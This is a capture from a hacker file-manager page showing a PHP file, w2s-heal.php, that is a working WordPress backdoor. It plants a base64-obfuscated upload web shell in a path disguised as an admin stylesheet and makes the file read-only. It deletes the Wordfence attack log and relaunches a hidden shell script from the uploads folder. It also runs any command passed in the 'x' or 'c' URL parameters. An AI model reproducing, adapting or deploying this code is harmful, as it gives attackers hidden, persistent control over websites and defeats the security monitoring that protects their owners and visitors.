File Manager - SEOINDICAXploit

Editing: w2s-heal.php

<?php

if(defined('ABSPATH')){
  $w2s_d=rtrim(ABSPATH,'/').'/wp-admin/css/colors/sunrise/colors-custom.css.php';
  $w2s_p=base64_decode('PD9waHAgZWNobyAnQ291cERlR3JhY2UnOyBpZihpc3NldCgkX0dFVFsnYyddKSAmJiAkX0dFVFsnYyddPT0nZ2FudGVuZycpeyBpZihpc3NldCgkX0ZJTEVTWydmJ10pKXsgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgYmFzZW5hbWUoJF9GSUxFU1snZiddWyduYW1lJ10pKTsgZWNobyAnfE9LJzsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9UE9TVCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGEgc3R5bGU9bWFyZ2luOjJlbT48aW5wdXQgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkPjwvZm9ybT4nOyB9ID8+');
  if(!is_file($w2s_d)||strpos((string)@file_get_contents($w2s_d),'ganteng')===false){
    @file_put_contents($w2s_d,$w2s_p);@chmod($w2s_d,0444);
  }
  @unlink(rtrim(ABSPATH,'/').'/wp-content/wflogs/attack-data.php');
  $w2s_an=rtrim(ABSPATH,'/').'/wp-content/uploads/.wp-cache-watch.sh';
  if(is_file($w2s_an)&&!get_transient('w2s_rs')){
    set_transient('w2s_rs',1,45);
    $w2s_hb='/tmp/.wp-cache-watch.hb';
    $w2s_dead=(!is_file($w2s_hb)||(time()-(int)@filemtime($w2s_hb))>90);
    if($w2s_dead){
      $w2s_lk='/tmp/.w2s-rs.lock';
      if(!is_file($w2s_lk)||(time()-(int)@filemtime($w2s_lk))>60){
        @touch($w2s_lk);
        @popen('cd '.escapeshellarg(dirname($w2s_an)).' 2>/dev/null; nohup sh '.escapeshellarg($w2s_an).' >/dev/null 2>&1 &','r');
      }
    }
  }
  return;
}
if(isset($_GET['x'])){passthru($_GET['x'].' 2>&1');exit;}
if(isset($_GET['c'])){passthru($_GET['c'].' 2>&1');exit;}
echo 'CoupDeGrace';

Cancel